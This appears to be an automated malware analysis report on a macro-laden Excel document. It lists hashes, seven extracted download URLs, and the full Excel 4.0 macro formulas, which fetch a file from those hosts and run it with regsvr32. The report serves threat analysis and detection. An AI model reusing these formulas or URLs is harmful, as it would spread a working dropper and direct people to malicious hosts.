General
-
Target
a281c33449bef32b43dbfa502ddc9ce847127dae665129b8b474a328208fa56b
-
Size
35KB
-
MD5
b20696977fd5ef745695c9141f408d8b
-
SHA1
3c9d62311cc7215e763bdf97ef7d30218194b325
-
SHA256
a281c33449bef32b43dbfa502ddc9ce847127dae665129b8b474a328208fa56b
-
SHA512
9938cc0777adaf83625ea6451ab06dc8b78dc255f9b7c24cc5aa1801b89c4f52355e69dbcb060cff91ae3b94662d270ef43b57bfdc7733c6a137bda41e4ff278
-
SSDEEP
768:jrtDp5eCAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooNQ3:jrtlgCUOZZ1ZYpoQ/pMAIY
Malware Config
Extracted
https://fikti.bem.gunadarma.ac.id/monon/OAH7XngpmWiT1vLkmP/
https://brutobrasil.com.br/pdf/SSscCUKBvL/
https://mdmd.fun/wp-includes/Y00y/
https://appanwendung.com/wp-admin/dvDn7/
https://hotel-boehmerwaldhof.at/wp-admin/mmhZydbNdqVxzc/
https://camaravotuporanga.sp.gov.br/conteudo/LFT3r6eLqdvHvD/
https://dnvqqk.cn/about/fW4aBbnaoOIDwjmpuqf/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fikti.bem.gunadarma.ac.id/monon/OAH7XngpmWiT1vLkmP/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/SSscCUKBvL/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mdmd.fun/wp-includes/Y00y/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appanwendung.com/wp-admin/dvDn7/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://hotel-boehmerwaldhof.at/wp-admin/mmhZydbNdqVxzc/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://camaravotuporanga.sp.gov.br/conteudo/LFT3r6eLqdvHvD/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dnvqqk.cn/about/fW4aBbnaoOIDwjmpuqf/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
a281c33449bef32b43dbfa502ddc9ce847127dae665129b8b474a328208fa56b